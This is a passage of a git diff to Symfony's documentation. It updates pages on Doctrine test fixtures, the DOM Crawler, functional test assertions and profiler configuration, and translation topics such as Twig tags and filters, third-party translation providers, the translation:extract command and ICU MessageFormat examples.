-performance: it begins a database transaction before every test and rolls it
-back automatically after the test finishes to undo all changes. Read more in the
-documentation of the `DAMADoctrineTestBundle`_.
-
-.. _doctrine-fixtures:
-
-Dummy Data Fixtures
--------------------
-
-Instead of using the real data from the production database, it's common to use
-fake or dummy data in the test database. This is usually called *"fixtures data"*
-and Doctrine provides a library to create and load them. Install it with:
-
-.. code-block:: terminal
-
-    $ composer require --dev doctrine/doctrine-fixtures-bundle
-
-Then, use the ``make:fixtures`` command to generate an empty fixture class:
-
-.. code-block:: terminal
-
-    $ php bin/console make:fixtures
-
-    The class name of the fixtures to create (e.g. AppFixtures):
-    > ProductFixture
-
-Customize the new class to load ``Product`` objects into Doctrine::
-
-    // src/DataFixtures/ProductFixture.php
-    namespace App\DataFixtures;
-
-    use App\Entity\Product;
-    use Doctrine\Bundle\FixturesBundle\Fixture;
-    use Doctrine\Persistence\ObjectManager;
-
-    class ProductFixture extends Fixture
-    {
-        public function load(ObjectManager $manager)
-        {
-            $product = new Product();
-            $product->setName('Priceless widget');
-            $product->setPrice(14.50);
-            $product->setDescription('Ok, I guess it *does* have a price');
-            $manager->persist($product);
-
-            // add more products
-
-            $manager->flush();
-        }
-    }
-
-Empty the database and reload *all* the fixture classes with:
-
-.. code-block:: terminal
-
-    $ php bin/console doctrine:fixtures:load
-
-For more information, read the `DoctrineFixturesBundle documentation`_.
+    The :ref:`main Testing guide <testing-databases>` describes how to use
+    and set-up a database for your automated tests. The contents of this
+    article show ways to test your Doctrine repositories.
 
 Mocking a Doctrine Repository in Unit Tests
 -------------------------------------------
@@ -249,6 +140,3 @@ so, get the entity manager via the service container as follows::
             $this->entityManager = null;
         }
     }
-
-.. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
-.. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
new file mode 100644
index 00000000000..7b47487d09f
--- /dev/null
+++ b/testing/dom_crawler.rst
@@ -0,0 +1,94 @@
+.. index::
+   single: Tests; Crawler
+
+The DOM Crawler
+===============
+
+A Crawler instance is returned each time you make a request with the Client.
+It allows you to traverse HTML or XML documents: select nodes, find links
+and forms, and retrieve attributes or contents.
+
+Traversing
+----------
+
+Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML
+document. For example, the following finds all ``input[type=submit]`` elements,
+selects the last one on the page, and then selects its immediate parent element::
+
+    $newCrawler = $crawler->filter('input[type=submit]')
+        ->last()
+        ->parents()
+        ->first()
+    ;
+
+Many other methods are also available:
+
+``filter('h1.title')``
+    Nodes that match the CSS selector.
+``filterXpath('h1')``
+    Nodes that match the XPath expression.
+``eq(1)``
+    Node for the specified index.
+``first()``
+    First node.
+``last()``
+    Last node.
+``siblings()``
+    Siblings.
+``nextAll()``
+    All following siblings.
+``previousAll()``
+    All preceding siblings.
+``parents()``
+    Returns the parent nodes.
+``children()``
+    Returns children nodes.
+``reduce($lambda)``
+    Nodes for which the callable does not return false.
+
+Since each of these methods returns a new ``Crawler`` instance, you can
+narrow down your node selection by chaining the method calls::
+
+    $crawler
+        ->filter('h1')
+        ->reduce(function ($node, $i) {
+            if (!$node->attr('class')) {
+                return false;
+            }
+        })
+        ->first()
+    ;
+
+.. tip::
+
+    Use the ``count()`` function to get the number of nodes stored in a Crawler:
+    ``count($crawler)``
+
+Extracting Information
+----------------------
+
+The Crawler can extract information from the nodes::
+
+    // returns the attribute value for the first node
+    $crawler->attr('class');
+
+    // returns the node value for the first node
+    $crawler->text();
+
+    // returns the default text if the node does not exist
+    $crawler->text('Default text content');
+
+    // pass TRUE as the second argument of text() to remove all extra white spaces, including
+    // the internal ones (e.g. "  foo\n  bar    baz \n " is returned as "foo bar baz")
+    $crawler->text(null, true);
+
+    // extracts an array of attributes for all nodes
+    // (_text returns the node value)
+    // returns an array for each element in crawler,
+    // each with the value and href
+    $info = $crawler->extract(['_text', 'href']);
+
+    // executes a lambda for each node and return an array of results
+    $data = $crawler->each(function ($node, $i) {
+        return $node->attr('href');
+    });
diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
deleted file mode 100644
index 457d8c39021..00000000000
--- a/testing/functional_tests_assertions.rst
+++ /dev/null
@@ -1,118 +0,0 @@
-.. index::
-   single: Tests; Assertions
-
-Functional Test specific Assertions
-===================================
-
-When doing functional tests, sometimes you need to make complex assertions in
-order to check whether the ``Request``, the ``Response`` or the ``Crawler``
-contain the expected information to make your test succeed.
-
-The following example uses plain PHPUnit to assert that the response redirects
-to a certain URL::
-
-    $this->assertSame(301, $client->getResponse()->getStatusCode());
-    $this->assertSame('https://example.com', $client->getResponse()->headers->get('Location'));
-
-This is the same example using the assertions provided by Symfony::
-
-    $this->assertResponseRedirects('https://example.com', 301);
-
-Assertions Reference
----------------------
-
-Response
-~~~~~~~~
-
-.. note::
-
-    The following assertions only work if a request has been made with the
-    ``Client`` in a test case extending the ``WebTestCase`` class.
-
-- ``assertResponseIsSuccessful()``
-- ``assertResponseStatusCodeSame()``
-- ``assertResponseRedirects()``
-- ``assertResponseHasHeader()``
-- ``assertResponseNotHasHeader()``
-- ``assertResponseHeaderSame()``
-- ``assertResponseHeaderNotSame()``
-- ``assertResponseHasCookie()``
-- ``assertResponseNotHasCookie()``
-- ``assertResponseCookieValueSame()``
-
-Request
-~~~~~~~
-
-.. note::
-
-    The following assertions only work if a request has been made with the
-    ``Client`` in a test case extending the ``WebTestCase`` class.
-
-- ``assertRequestAttributeValueSame()``
-- ``assertRouteSame()``
-
-Browser
-~~~~~~~
-
-.. note::
-
-    The following assertions only work if a request has been made with the
-    ``Client`` in a test case extending the ``WebTestCase`` class.
-
-- ``assertBrowserHasCookie()``
-- ``assertBrowserNotHasCookie()``
-- ``assertBrowserCookieValueSame()``
-
-Crawler
-~~~~~~~
-
-.. note::
-
-    The following assertions only work if a request has been made with the
-    ``Client`` in a test case extending the ``WebTestCase`` class. In addition,
-    they are not available when using `symfony/panther`_ for end-to-end testing.
-
-- ``assertSelectorExists()``
-- ``assertSelectorNotExists()``
-- ``assertSelectorTextContains()`` (note: it only checks the first selector occurrence)
-- ``assertSelectorTextSame()`` (note: it only checks the first selector occurrence)
-- ``assertSelectorTextNotContains()`` (note: it only checks the first selector occurrence)
-- ``assertPageTitleSame()``
-- ``assertPageTitleContains()``
-- ``assertInputValueSame()``
-- ``assertInputValueNotSame()``
-- ``assertCheckboxChecked()``
-- ``assertCheckboxNotChecked()``
-- ``assertFormValue()``
-- ``assertNoFormValue()``
-
-.. versionadded:: 5.2
-
-    The ``assertCheckboxChecked()``, ``assertCheckboxNotChecked()``,
-    ``assertFormValue()`` and ``assertNoFormValue()`` methods were introduced
-    in Symfony 5.2.
-
-Mailer
-~~~~~~
-
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, the following assertions no longer require to make
-    a request with the ``Client`` in a test case extending the ``WebTestCase`` class.
-
-- ``assertEmailCount()``
-- ``assertQueuedEmailCount()``
-- ``assertEmailIsQueued()``
-- ``assertEmailIsNotQueued()``
-- ``assertEmailAttachementCount()``
-- ``assertEmailTextBodyContains()``
-- ``assertEmailTextBodyNotContains()``
-- ``assertEmailHtmlBodyContains()``
-- ``assertEmailHtmlBodyNotContains()``
-- ``assertEmailHasHeader()``
-- ``assertEmailNotHasHeader()``
-- ``assertEmailHeaderSame()``
-- ``assertEmailHeaderNotSame()``
-- ``assertEmailAddressContains()``
-
-.. _`symfony/panther`: https://github.com/symfony/panther
diff --git a/testing/profiling.rst b/testing/profiling.rst
index d3fa71f8e76..db7714b9d1f 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -47,15 +47,15 @@ tests significantly. That's why Symfony disables it by default:
     .. code-block:: php
 
         // config/packages/test/web_profiler.php
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'profiler' => [
-                'enabled' => true,
-                'collect' => false,
-            ],
-        ]);
+            $framework->profiler()
+                ->enabled(true)
+                ->collect(false)
+            ;
+        };
 
 Setting ``collect`` to ``true`` enables the profiler for all tests. However, if
 you need the profiler only in a few tests, you can keep it disabled globally and
@@ -71,7 +71,7 @@ provided by the collectors obtained through the ``$client->getProfile()`` call::
 
     // tests/Controller/LuckyControllerTest.php
     namespace App\Tests\Controller;
-    
+
     use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
 
     class LuckyControllerTest extends WebTestCase
diff --git a/translation.rst b/translation.rst
index 4c4b4b9a07b..53e0ae45d4a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -92,11 +92,16 @@ are located:
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'default_locale' => 'en',
-            'translator' => ['default_path' => '%kernel.project_dir%/translations'],
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-        ]);
+            $framework
+                ->defaultLocale('en')
+                ->translator()
+                    ->defaultPath('%kernel.project_dir%/translations')
+            ;
+        };
 
 The locale used in translations is the one stored on the request. This is
 typically set via a ``_locale`` attribute on your routes (see :ref:`translation-locale-url`).
@@ -141,7 +146,7 @@ different formats:
     .. code-block:: xml
 
         <!-- translations/messages.fr.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -292,6 +297,24 @@ To manage these situations, Symfony follows the `ICU MessageFormat`_ syntax by
 using PHP's :phpclass:`MessageFormatter` class. Read more about this in
 :doc:`/translation/message_format`.
 
+.. tip::
+
+    If you don't use the ICU MessageFormat syntax in your translation files,
+    pass a parameter named "%count%" to select the best plural form of the message:
+
+    .. code-block:: twig
+
+       {{ message|trans({'%name%': '...', '%count%': 1}, 'app') }}
+
+    The ``message`` variable must include all the different versions of this
+    message based on the value of the ``count`` parameter. For example:
+
+    .. code-block:: text
+
+        {0}%name% has no apples|{1}%name% has one apple|]1,Inf[ %name% has %count% apples
+
+.. _translatable-objects:
+
 Translatable Objects
 --------------------
 
@@ -337,14 +360,92 @@ Translations in Templates
 -------------------------
 
 Most of the time, translation occurs in templates. Symfony provides native
-support for both Twig and PHP templates:
+support for both Twig and PHP templates.
 
-.. code-block:: html+twig
+.. _translation-tags:
+
+Using Twig Tags
+~~~~~~~~~~~~~~~
+
+Symfony provides a specialized Twig tag ``trans`` to help with message
+translation of *static blocks of text*:
+
+.. code-block:: twig
+
+    {% trans %}Hello %name%{% endtrans %}
+
+.. caution::
+
+    The ``%var%`` notation of placeholders is required when translating in
+    Twig templates using the tag.
+
+.. tip::
+
+    If you need to use the percent character (``%``) in a string, escape it by
+    doubling it: ``{% trans %}Percent: %percent%%%{% endtrans %}``
+
+You can also specify the message domain and pass some additional variables:
+
+.. code-block:: twig
+
+    {% trans with {'%name%': 'Fabien'} from 'app' %}Hello %name%{% endtrans %}
+
+    {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
+
+.. _translation-filters:
+
+Using Twig Filters
+~~~~~~~~~~~~~~~~~~
+
+The ``trans`` filter can be used to translate *variable texts* and complex expressions:
+
+.. code-block:: twig
 
-    <h1>{% trans %}Symfony is great!{% endtrans %}</h1>
+    {{ message|trans }}
 
-Read :doc:`/translation/templates` for more information about the Twig tags and
-filters for translation.
+    {{ message|trans({'%name%': 'Fabien'}, 'app') }}
+
+.. tip::
+
+    Using the translation tags or filters have the same effect, but with
+    one subtle difference: automatic output escaping is only applied to
+    translations using a filter. In other words, if you need to be sure
+    that your translated message is *not* output escaped, you must apply
+    the ``raw`` filter after the translation filter:
+
+    .. code-block:: html+twig
+
+        {# text translated between tags is never escaped #}
+        {% trans %}
+            <h3>foo</h3>
+        {% endtrans %}
+
+        {% set message = '<h3>foo</h3>' %}
+
+        {# strings and variables translated via a filter are escaped by default #}
+        {{ message|trans|raw }}
+        {{ '<h3>bar</h3>'|trans|raw }}
+
+.. tip::
+
+    You can set the translation domain for an entire Twig template with a single tag:
+
+    .. code-block:: twig
+
+       {% trans_default_domain 'app' %}
+
+    Note that this only influences the current template, not any "included"
+    template (in order to avoid side effects).
+
+PHP Templates
+~~~~~~~~~~~~~
+
+The translator service is accessible in PHP templates through the
+``translator`` helper:
+
+.. code-block:: html+php
+
+    <?= $view['translator']->trans('Symfony is great') ?>
 
 Forcing the Translator Locale
 -----------------------------
@@ -365,27 +466,41 @@ Extracting Translation Contents and Updating Catalogs Automatically
 
 The most time-consuming tasks when translating an application is to extract all
 the template contents to be translated and to keep all the translation files in
-sync. Symfony includes a command called ``translation:update`` that helps you
+sync. Symfony includes a command called ``translation:extract`` that helps you
 with these tasks:
 
 .. code-block:: terminal
 
     # shows all the messages that should be translated for the French language
-    $ php bin/console translation:update --dump-messages fr
+    $ php bin/console translation:extract --dump-messages fr
 
     # updates the French translation files with the missing strings for that locale
-    $ php bin/console translation:update --force fr
+    $ php bin/console translation:extract --force fr
 
     # check out the command help to see its options (prefix, output format, domain, sorting, etc.)
-    $ php bin/console translation:update --help
+    $ php bin/console translation:extract --help
+
+.. deprecated:: 5.4
 
-The ``translation:update`` command looks for missing translations in:
+    In previous Symfony versions, the ``translation:extract`` command was called
+    ``translation:update``, but that name was deprecated in Symfony 5.4
+    and it will be removed in Symfony 6.0.
+
+The ``translation:extract`` command looks for missing translations in:
 
 * Templates stored in the ``templates/`` directory (or any other directory
   defined in the :ref:`twig.default_path <config-twig-default-path>` and
   :ref:`twig.paths <config-twig-paths>` config options);
 * Any PHP file/class that injects or :doc:`autowires </service_container/autowiring>`
-  the ``translator`` service and makes calls to the ``trans()`` function.
+  the ``translator`` service and makes calls to the ``trans()`` method.
+* Any PHP file/class stored in the ``src/`` directory that creates
+  :ref:`translatable-objects` using the constructor or the ``t()`` method or calls
+  the ``trans()`` method.
+
+.. versionadded:: 5.3
+
+    Support for extracting Translatable objects has been introduced in
+    Symfony 5.3.
 
 .. _translation-resource-locations:
 
@@ -483,13 +598,13 @@ if you're generating translations with specialized programs or teams.
         .. code-block:: php
 
             // config/packages/translation.php
-            $container->loadFromExtension('framework', [
-                'translator' => [
-                    'paths' => [
-                        '%kernel.project_dir%/custom/path/to/translations',
-                    ],
-                ],
-            ]);
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (FrameworkConfig $framework) {
+                $framework->translator()
+                    ->paths(['%kernel.project_dir%/custom/path/to/translations'])
+                ;
+            };
 
 .. note::
 
@@ -498,6 +613,173 @@ if you're generating translations with specialized programs or teams.
     :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface` interface.
     See the :ref:`dic-tags-translation-loader` tag for more information.
 
+.. _translation-providers:
+
+Translation Providers
+---------------------
+
+.. versionadded:: 5.3
+
+    Translation providers were introduced in Symfony 5.3.
+
+When using external translators to translate your application, you must send
+them the new contents to translate frequently and merge the results back in the
+application.
+
+Instead of doing this manually, Symfony provides integration with several
+third-party translation services (e.g. Crowdin or Lokalise). You can upload and
+download (called "push" and "pull") translations to/from these services and
+merge the results automatically in the application.
+
+Installing and Configuring a Third Party Provider
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Before pushing/pulling translations to a third-party provider, you must install
+the package that provides integration with that provider:
+
+====================  ===========================================================
+Provider              Install with
+====================  ===========================================================
+Crowdin               ``composer require symfony/crowdin-translation-provider``
+Loco (localise.biz)   ``composer require symfony/loco-translation-provider``
+Lokalise              ``composer require symfony/lokalise-translation-provider``
+====================  ===========================================================
+
+Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
+a configuration example to your ``.env`` file. For example, suppose you want to
+use Loco. First, install it:
+
+.. code-block:: terminal
+
+    $ composer require symfony/loco-translation-provider
+
+You'll now have a new line in your ``.env`` file that you can uncomment:
+
+.. code-block:: env
+
+    # .env
+    LOCO_DSN=loco://API_KEY@default
+
+The ``LOCO_DSN`` isn't a *real* address: it's a convenient format that offloads
+most of the configuration work to Symfony. The ``loco`` scheme activates the
+Loco provider that you just installed, which knows all about how to push and
+pull translations via Loco. The *only* part you need to change is the
+``API_KEY`` placeholder.
+
+This table shows the full list of available DSN formats for each provider:
+
+=====================  ==========================================================
+Provider               DSN
+=====================  ==========================================================
+Crowdin                crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
+Loco (localise.biz)    loco://API_KEY@default
+Lokalise               lokalise://PROJECT_ID:API_KEY@default
+=====================  ==========================================================
+
+To enable a translation provider, add the correct DSN in your ``.env`` file and
+configure the ``providers`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translation.yaml
+        framework:
+            translator:
+                providers:
+                    loco:
+                        dsn: '%env(LOCO_DSN)%'
+                        domains: ['messages']
+                        locales: ['en', 'fr']
+
+    .. code-block:: xml
+
+        <!-- config/packages/translation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:translator>
+                    <framework:provider name="loco" dsn="%env(LOCO_DSN)%">
+                        <framework:domain>messages</framework:domain>
+                        <!-- ... -->
+                        <framework:locale>en</framework:locale>
+                        <framework:locale>fr</framework:locale>
+                        <!-- ... -->
+                    </framework:provider>
+                </framework:translator>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        # config/packages/translation.php
+        $container->loadFromExtension('framework', [
+            'translator' => [
+                'providers' => [
+                    'loco' => [
+                        'dsn' => '%env(LOCO_DSN)%',
+                        'domains' => ['messages'],
+                        'locales' => ['en', 'fr'],
+                    ],
+                ],
+            ],
+        ]);
+
+.. tip::
+
+    If you use Lokalise as provider and a locale format following the `ISO 639-1`_ (e.g., "en" or "fr"),
+    you have to set the `Custom Language Name setting`_ in Lokalise for each of your locales,
+    in order to override the default value (which follow the `ISO 639-1`_ succeeded by a sub-code
+    in capital letters that specifies the national variety (e.g., "GB" or "US" according to `ISO 3166-1 alpha-2`_)).
+
+Pushing and Pulling Translations
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+After configuring the credentials to access the translation provider, you can
+now use the following commands to push (upload) and pull (download) translations:
+
+.. code-block:: terminal
+
+    # push all local translations to the Loco provider for the locales and domains
+    # configured in config/packages/translation.yaml file.
+    # it will update existing translations already on the provider.
+    $ php bin/console translation:push loco --force
+
+    # push new local translations to the Loco provider for the French locale
+    # and the validators domain.
+    # it will **not** update existing translations already on the provider.
+    $ php bin/console translation:push loco --locales fr --domain validators
+
+    # push new local translations and delete provider's translations that not
+    # exists anymore in local files for the French locale and the validators domain.
+    # it will **not** update existing translations already on the provider.
+    $ php bin/console translation:push loco --delete-missing --locales fr --domain validators
+
+    # check out the command help to see its options (format, domains, locales, etc.)
+    $ php bin/console translation:push --help
+
+.. code-block:: terminal
+
+    # pull all provider's translations to local files for the locales and domains
+    # configured in config/packages/translation.yaml file.
+    # it will overwrite completely your local files.
+    $ php bin/console translation:pull loco --force
+
+    # pull new translations from the Loco provider to local files for the French
+    # locale and the validators domain.
+    # it will **not** overwrite your local files, only add new translations.
+    $ php bin/console translation:pull loco --locales fr --domain validators
+
+    # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
+    $ php bin/console translation:pull --help
+
 Handling the User's Locale
 --------------------------
 
@@ -559,10 +841,14 @@ checks translation resources for several locales:
        .. code-block:: php
 
            // config/packages/translation.php
-           $container->loadFromExtension('framework', [
-               'translator' => ['fallbacks' => ['en']],
-               // ...
-           ]);
+           use Symfony\Config\FrameworkConfig;
+
+            return static function (FrameworkConfig $framework) {
+                // ...
+                $framework->translator()
+                    ->fallbacks(['en'])
+                ;
+            };
 
 .. note::
 
@@ -608,15 +894,15 @@ Learn more
     :maxdepth: 1
 
     translation/message_format
-    translation/templates
     translation/locale
     translation/debug
     translation/lint
     translation/xliff
 
 .. _`i18n`: https://en.wikipedia.org/wiki/Internationalization_and_localization
-.. _`ICU MessageFormat`: http://userguide.icu-project.org/formatparse/messages
+.. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
-.. _`Translatable Extension`: http://atlantic18.github.io/DoctrineExtensions/doc/translatable.html
+.. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
+.. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes
diff --git a/translation/debug.rst b/translation/debug.rst
index 74e52783245..e0668c4ae3e 100644
--- a/translation/debug.rst
+++ b/translation/debug.rst
@@ -19,9 +19,11 @@ command helps you to find these missing or unused translation messages templates
 
 .. caution::
 
-    The extractors can't find messages translated outside templates, like form
-    labels or controllers. Dynamic translations using variables or expressions
-    in templates are not detected either:
+    The extractors can't find messages translated outside templates (like form
+    labels or controllers) unless using :ref:`translatable-objects` or calling
+    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
+    translations using variables or expressions in templates are not
+    detected either:
 
     .. code-block:: twig
 
@@ -39,7 +41,7 @@ you've already setup some translations for the ``fr`` locale:
     .. code-block:: xml
 
         <!-- translations/messages.fr.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -70,7 +72,7 @@ and for the ``en`` locale:
     .. code-block:: xml
 
         <!-- translations/messages.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
diff --git a/translation/lint.rst b/translation/lint.rst
index d9129a79108..e6987538aeb 100644
--- a/translation/lint.rst
+++ b/translation/lint.rst
@@ -33,6 +33,19 @@ The linter results can be exported to JSON using the ``--format`` option:
     $ php bin/console lint:yaml translations/ --format=json
     $ php bin/console lint:xliff translations/ --format=json
 
+When running these linters inside `GitHub Actions`_, the output is automatically
+adapted to the format required by GitHub, but you can force that format too:
+
+.. code-block:: terminal
+
+    $ php bin/console lint:yaml translations/ --format=github
+    $ php bin/console lint:xliff translations/ --format=github
+
+.. versionadded:: 5.3
+
+    The ``github`` output format was introduced in Symfony 5.3 for ``lint:yaml``
+    and in Symfony 5.4 for ``lint:xliff``.
+
 .. tip::
 
     The Yaml component provides a stand-alone ``yaml-lint`` binary allowing
@@ -45,3 +58,5 @@ The linter results can be exported to JSON using the ``--format`` option:
     .. versionadded:: 5.1
 
         The ``yaml-lint`` binary was introduced in Symfony 5.1.
+
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
diff --git a/translation/locale.rst b/translation/locale.rst
index 87f973a146a..79a9d45ce39 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -65,7 +65,7 @@ A better policy is to include the locale in the URL using the
 .. configuration-block::
 
     .. code-block:: php-annotations
-        
+
         // src/Controller/ContactController.php
         namespace App\Controller;
 
@@ -177,6 +177,8 @@ the framework:
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'default_locale' => 'en',
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->defaultLocale('en');
+        };
diff --git a/translation/message_format.rst b/translation/message_format.rst
index 8f8fea5296c..b5a350acfcf 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -47,7 +47,7 @@ The basic usage of the MessageFormat allows you to use placeholders (called
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -108,7 +108,7 @@ typical usage of this is gender:
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -173,6 +173,22 @@ you to use literal text in the select statements:
     readable for translators and, as you can see in the ``other`` case, other
     parts of the sentence might be influenced by the variables.
 
+.. tip::
+
+    It's possible to translate ICU MessageFormat messages directly in code,
+    without having to define them in any file::
+
+        $invitation = '{organizer_gender, select,
+            female {{organizer_name} has invited you for her party!}
+            male   {{organizer_name} has invited you for his party!}
+            other  {{organizer_name} have invited you for their party!}
+        }';
+
+        // prints "Ryan has invited you for his party!"
+        echo $translator->trans($invitation, [
+            'organizer_name' => 'Ryan',
+            'organizer_gender' => 'male',
+        ]);
 
 .. _component-translation-pluralization:
 
@@ -198,7 +214,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -255,27 +271,24 @@ Usage of this string is the same as with variables and select::
     .. code-block:: text
 
         {gender_of_host, select,
-            female {
-                {num_guests, plural, offset:1
+            female {{num_guests, plural, offset:1
                 =0    {{host} does not give a party.}
                 =1    {{host} invites {guest} to her party.}
                 =2    {{host} invites {guest} and one other person to her party.}
-                other {{host} invites {guest} and # other people to her party.}}
-            }
-            male {
-                {num_guests, plural, offset:1
+                other {{host} invites {guest} and # other people to her party.}
+            }}
+            male {{num_guests, plural, offset:1
                 =0    {{host} does not give a party.}
                 =1    {{host} invites {guest} to his party.}
                 =2    {{host} invites {guest} and one other person to his party.}
-                other {{host} invites {guest} and # other people to his party.}}
-            }
-            other {
-                {num_guests, plural, offset:1
+                other {{host} invites {guest} and # other people to his party.}
+            }}
+            other {{num_guests, plural, offset:1
                 =0    {{host} does not give a party.}
                 =1    {{host} invites {guest} to their party.}
                 =2    {{host} invites {guest} and one other person to their party.}
-                other {{host} invites {guest} and # other people to their party.}}
-            }
+                other {{host} invites {guest} and # other people to their party.}
+            }}
         }
 
 .. sidebar:: Using Ranges in Messages
@@ -329,7 +342,7 @@ Similar to ``plural``, ``selectordinal`` allows you to use numbers as ordinal sc
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -393,7 +406,7 @@ using the :phpclass:`IntlDateFormatter`:
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -435,7 +448,7 @@ The ``number`` formatter allows you to format numbers using Intl's :phpclass:`Nu
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -473,7 +486,7 @@ The ``number`` formatter allows you to format numbers using Intl's :phpclass:`Nu
     echo $translator->trans('value_of_object', ['value' => 9988776.65]);
 
 .. _`online editor`: http://format-message.github.io/icu-message-format-for-translators/
-.. _`ICU MessageFormat`: http://userguide.icu-project.org/formatparse/messages
+.. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/
 .. _`switch statement`: https://www.php.net/control-structures.switch
 .. _`Language Plural Rules`: http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html
 .. _`constants defined by the IntlDateFormatter class`: https://www.php.net/manual/en/class.intldateformatter.php
diff --git a/translation/templates.rst b/translation/templates.rst
deleted file mode 100644
index b820bfb0fba..00000000000
--- a/translation/templates.rst
+++ /dev/null
@@ -1,89 +0,0 @@
-Using Translation in Templates
-==============================
-
-Twig Templates
---------------
-
-.. _translation-tags:
-
-Using Twig Tags
-~~~~~~~~~~~~~~~
-
-Symfony provides a specialized Twig tag ``trans`` to help with message
-translation of *static blocks of text*:
-
-.. code-block:: twig
-
-    {% trans %}Hello %name%{% endtrans %}
-
-.. caution::
-
-    The ``%var%`` notation of placeholders is required when translating in
-    Twig templates using the tag.
-
-.. tip::
-
-    If you need to use the percent character (``%``) in a string, escape it by
-    doubling it: ``{% trans %}Percent: %percent%%%{% endtrans %}``
-
-You can also specify the message domain and pass some additional variables:
-
-.. code-block:: twig
-
-    {% trans with {'%name%': 'Fabien'} from 'app' %}Hello %name%{% endtrans %}
-
